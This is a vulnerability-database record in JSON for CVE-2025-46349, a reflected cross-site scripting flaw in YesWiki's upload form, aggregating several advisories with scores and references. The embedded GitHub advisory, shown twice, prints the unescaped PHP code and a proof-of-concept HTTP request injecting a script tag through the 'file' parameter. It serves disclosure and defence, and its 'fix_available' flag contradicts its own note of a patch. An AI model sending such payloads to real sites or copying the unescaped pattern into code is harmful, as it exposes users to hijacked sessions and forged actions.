{"id":"CVE-2025-46349","aliases":["EUVD-2025-12615","GHSA-2f8p-qqx2-gwr2"],"status":"published","title":"YesWiki Vulnerable to Unauthenticated Reflected Cross-site Scripting","description":"YesWiki is a wiki system written in PHP. Prior to version 4.5.4, YesWiki is vulnerable to reflected XSS in the file upload form. This vulnerability allows any malicious unauthenticated user to create a link that can be clicked on by the victim to perform arbitrary actions. This issue has been patched in version 4.5.4.","severity":{"version":"3.1","score":7.6,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:H/A:L","level":"high","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-10","score":0.00643,"percentile":0.51187,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":false},"cwes":["CWE-79"],"published":"2025-04-29T14:38:12Z","modified":"2026-10-28T02:30:49Z","exploits":[{"source":"nuclei","id":"CVE-2025-46349","title":"YesWiki Reflected XSS via File Upload","type":"detection template","url":"https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2025/CVE-2025-46349.yaml"}],"affected":[{"source":"ghsa","ecosystem":"Packagist","package":"yeswiki/yeswiki","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"last_affected":"4.5.3"}]}]},{"source":"osv","ecosystem":"Packagist","package":"yeswiki/yeswiki","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"last_affected":"4.5.3"}]}],"versions":["4.2.3","v4.1.0","v4.1.1","v4.1.2","v4.1.3","v4.1.4","v4.1.5","v4.2.0","v4.2.1","v4.2.2","v4.2.4","v4.3","v4.3.1","v4.4.0","v4.4.1","v4.4.2","v4.4.3","v4.4.4","v4.4.5","v4.5.0","v4.5.1","v4.5.2","v4.5.3"]}],"products":[{"vendor":"yeswiki","product":"yeswiki"}],"references":[{"url":"https://github.com/YesWiki/yeswiki/security/advisories/GHSA-2f8p-qqx2-gwr2","tags":["x_refsource_CONFIRM","exploit","Exploit","Vendor Advisory","advisory","web"]},{"url":"https://github.com/YesWiki/yeswiki/pull/1264/commits/6edde40eb7eeb5d60619ac4d1e0a0422d92e9524","tags":["x_refsource_MISC","Patch","web"]},{"url":"https://github.com/YesWiki/yeswiki/commit/0dac9e2fb2a5e69f13a3c9f761ecae6ed9676206","tags":["web"]},{"url":"https://github.com/YesWiki/yeswiki/blob/6894234bbde6ab168bf4253f9a581bd24bf53766/tools/attach/libs/attach.lib.php#L724-L735","tags":["web"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2025-46349","tags":["advisory"]},{"url":"https://github.com/advisories/GHSA-2f8p-qqx2-gwr2"},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2025/46xxx/CVE-2025-46349.json","tags":["advisory"]},{"url":"https://github.com/YesWiki/yeswiki","tags":["package"]}],"sources":{"cve":[{"id":"CVE-2025-46349","title":"YesWiki Vulnerable to Unauthenticated Reflected Cross-site Scripting","description":"YesWiki is a wiki system written in PHP. Prior to version 4.5.4, YesWiki is vulnerable to reflected XSS in the file upload form. This vulnerability allows any malicious unauthenticated user to create a link that can be clicked on by the victim to perform arbitrary actions. This issue has been patched in version 4.5.4.","status":"published","published":"2025-04-29T17:11:10.679Z","modified":"2025-04-29T18:01:20.769Z","cvss":[{"version":"3.1","score":7.6,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:H/A:L","level":"high","assessor":"cna"}],"cwes":["CWE-79"],"updated_at":"2026-11-02T14:32:36.706507Z"}],"euvd":[{"id":"EUVD-2025-12615","description":"YesWiki is a wiki system written in PHP. Prior to version 4.5.4, YesWiki is vulnerable to reflected XSS in the file upload form. This vulnerability allows any malicious unauthenticated user to create a link that can be clicked on by the victim to perform arbitrary actions. This issue has been patched in version 4.5.4.","status":"published","published":"2025-04-29T17:11:10Z","modified":"2025-04-29T18:01:20Z","cvss":[{"version":"3.1","score":7.6,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:H/A:L","level":"high"}],"updated_at":"2026-11-02T20:52:00.012701Z"}],"ghsa":[{"id":"GHSA-2f8p-qqx2-gwr2","title":"YesWiki Vulnerable to Unauthenticated Reflected Cross-site Scripting","description":"### Summary\nReflected XSS has been detected in the file upload form. Vulnerability can be exploited without authentication\n\nThis Proof of Concept has been performed using the followings:\n\n- YesWiki v4.5.3 (doryphore-dev branch)\n- Docker environnment (docker/docker-compose.yml)\n\n### Vulnerable code\nThe vulnerability is located in the [file](https://github.com/YesWiki/yeswiki/blob/6894234bbde6ab168bf4253f9a581bd24bf53766/tools/attach/libs/attach.lib.php#L724-L735)\n```\n        public function showUploadForm()\n        {\n            $this-\u003efile = $_GET['file'];\n            echo '\u003ch3\u003e' . _t('ATTACH_UPLOAD_FORM_FOR_FILE') . ' ' . $this-\u003efile . \"\u003c/h3\u003e\\n\";\n            echo '\u003cform enctype=\"multipart/form-data\" name=\"frmUpload\" method=\"POST\" action=\"' . $this-\u003ewiki-\u003ehref('upload', $this-\u003ewiki-\u003eGetPageTag()) . \"\\\"\u003e\\n\"\n                . '\t\u003cinput type=\"hidden\" name=\"wiki\" value=\"' . $this-\u003ewiki-\u003eGetPageTag() . \"/upload\\\" /\u003e\\n\"\n                . '\t\u003cinput type=\"hidden\" name=\"MAX_FILE_SIZE\" value=\"' . $this-\u003eattachConfig['max_file_size'] . \"\\\" /\u003e\\n\"\n                . \"\t\u003cinput type=\\\"hidden\\\" name=\\\"file\\\" value=\\\"$this-\u003efile\\\" /\u003e\\n\"\n                . \"\t\u003cinput type=\\\"file\\\" name=\\\"upFile\\\" size=\\\"50\\\" /\u003e\u003cbr /\u003e\\n\"\n                . '\t\u003cinput class=\"btn btn-primary\" type=\"submit\" value=\"' . _t('ATTACH_SAVE') . \"\\\" /\u003e\\n\"\n                . \"\u003c/form\u003e\\n\";\n        }\n```\n### PoC\n1. You need to send a request to endpoint and abusing the `file` parameter, we can successfully obtain client side javascript execution\n```\nGET /?PagePrincipale/upload\u0026file=%3Cscript%3Ealert(document.domain)%3C/script%3E HTTP/1.1\nHost: localhost:8085\nCache-Control: max-age=0\nsec-ch-ua: \"Chromium\";v=\"135\", \"Not-A.Brand\";v=\"8\"\nsec-ch-ua-mobile: ?0\nsec-ch-ua-platform: \"macOS\"\nAccept-Language: ru-RU,ru;q=0.9\nUpgrade-Insecure-Requests: 1\nUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7\nSec-Fetch-Site: same-origin\nSec-Fetch-Mode: navigate\nSec-Fetch-User: ?1\nSec-Fetch-Dest: document\nAccept-Encoding: gzip, deflate, br\nConnection: keep-alive\n```\n2. Get a response\n\u003cimg width=\"853\" alt=\"Снимок экрана 2025-04-11 в 02 04 55\" src=\"https://github.com/user-attachments/assets/b923f563-ead5-494c-8fbd-1c3b11635820\" /\u003e\n\n\n### Impact\nThis vulnerability allows any malicious unauthenticated user to create a link that can be clicked on in the victim context to perform arbitrary actions","status":"published","published":"2025-04-29T14:38:12Z","modified":"2025-04-29T20:27:21Z","cvss":[{"version":"3.1","score":7.6,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:H/A:L","level":"high"}],"cwes":["CWE-79"],"updated_at":"2026-11-02T14:38:41.402125Z"}],"nvd":[{"id":"CVE-2025-46349","description":"YesWiki is a wiki system written in PHP. Prior to version 4.5.4, YesWiki is vulnerable to reflected XSS in the file upload form. This vulnerability allows any malicious unauthenticated user to create a link that can be clicked on by the victim to perform arbitrary actions. This issue has been patched in version 4.5.4.","status":"published","published":"2025-04-29T18:15:44.803Z","modified":"2026-06-17T09:26:16.963Z","cvss":[{"version":"3.1","score":7.6,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:H/A:L","level":"high","assessor":"secondary"},{"version":"3.1","score":6.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N","level":"medium","assessor":"primary"}],"cwes":["CWE-79"],"updated_at":"2026-11-02T14:11:02.570368Z"}],"osv":[{"id":"CVE-2025-46349","title":"YesWiki Vulnerable to Unauthenticated Reflected Cross-site Scripting","description":"YesWiki is a wiki system written in PHP. Prior to version 4.5.4, YesWiki is vulnerable to reflected XSS in the file upload form. This vulnerability allows any malicious unauthenticated user to create a link that can be clicked on by the victim to perform arbitrary actions. This issue has been patched in version 4.5.4.","status":"published","published":"2025-04-29T17:11:10.679Z","modified":"2026-10-28T02:30:49.0558411Z","cvss":[{"version":"3.1","score":7.6,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:H/A:L","level":"high"}],"cwes":["CWE-79"],"updated_at":"2026-11-02T15:44:49.707645Z"},{"id":"GHSA-2f8p-qqx2-gwr2","title":"YesWiki Vulnerable to Unauthenticated Reflected Cross-site Scripting","description":"### Summary\nReflected XSS has been detected in the file upload form. Vulnerability can be exploited without authentication\n\nThis Proof of Concept has been performed using the followings:\n\n- YesWiki v4.5.3 (doryphore-dev branch)\n- Docker environnment (docker/docker-compose.yml)\n\n### Vulnerable code\nThe vulnerability is located in the [file](https://github.com/YesWiki/yeswiki/blob/6894234bbde6ab168bf4253f9a581bd24bf53766/tools/attach/libs/attach.lib.php#L724-L735)\n```\n        public function showUploadForm()\n        {\n            $this-\u003efile = $_GET['file'];\n            echo '\u003ch3\u003e' . _t('ATTACH_UPLOAD_FORM_FOR_FILE') . ' ' . $this-\u003efile . \"\u003c/h3\u003e\\n\";\n            echo '\u003cform enctype=\"multipart/form-data\" name=\"frmUpload\" method=\"POST\" action=\"' . $this-\u003ewiki-\u003ehref('upload', $this-\u003ewiki-\u003eGetPageTag()) . \"\\\"\u003e\\n\"\n                . '\t\u003cinput type=\"hidden\" name=\"wiki\" value=\"' . $this-\u003ewiki-\u003eGetPageTag() . \"/upload\\\" /\u003e\\n\"\n                . '\t\u003cinput type=\"hidden\" name=\"MAX_FILE_SIZE\" value=\"' . $this-\u003eattachConfig['max_file_size'] . \"\\\" /\u003e\\n\"\n                . \"\t\u003cinput type=\\\"hidden\\\" name=\\\"file\\\" value=\\\"$this-\u003efile\\\" /\u003e\\n\"\n                . \"\t\u003cinput type=\\\"file\\\" name=\\\"upFile\\\" size=\\\"50\\\" /\u003e\u003cbr /\u003e\\n\"\n                . '\t\u003cinput class=\"btn btn-primary\" type=\"submit\" value=\"' . _t('ATTACH_SAVE') . \"\\\" /\u003e\\n\"\n                . \"\u003c/form\u003e\\n\";\n        }\n```\n### PoC\n1. You need to send a request to endpoint and abusing the `file` parameter, we can successfully obtain client side javascript execution\n```\nGET /?PagePrincipale/upload\u0026file=%3Cscript%3Ealert(document.domain)%3C/script%3E HTTP/1.1\nHost: localhost:8085\nCache-Control: max-age=0\nsec-ch-ua: \"Chromium\";v=\"135\", \"Not-A.Brand\";v=\"8\"\nsec-ch-ua-mobile: ?0\nsec-ch-ua-platform: \"macOS\"\nAccept-Language: ru-RU,ru;q=0.9\nUpgrade-Insecure-Requests: 1\nUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7\nSec-Fetch-Site: same-origin\nSec-Fetch-Mode: navigate\nSec-Fetch-User: ?1\nSec-Fetch-Dest: document\nAccept-Encoding: gzip, deflate, br\nConnection: keep-alive\n```\n2. Get a response\n\u003cimg width=\"853\" alt=\"Снимок экрана 2025-04-11 в 02 04 55\" src=\"https://github.com/user-attachments/assets/b923f563-ead5-494c-8fbd-1c3b11635820\" /\u003e\n\n\n### Impact\nThis vulnerability allows any malicious unauthenticated user to create a link that can be clicked on in the victim context to perform arbitrary actions","status":"published","published":"2025-04-29T14:38:12Z","modified":"2026-09-10T03:50:56.891754907Z","cvss":[{"version":"3.1","score":7.6,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:H/A:L","level":"high"}],"cwes":["CWE-79"],"updated_at":"2026-11-02T15:46:34.338541Z"}]}}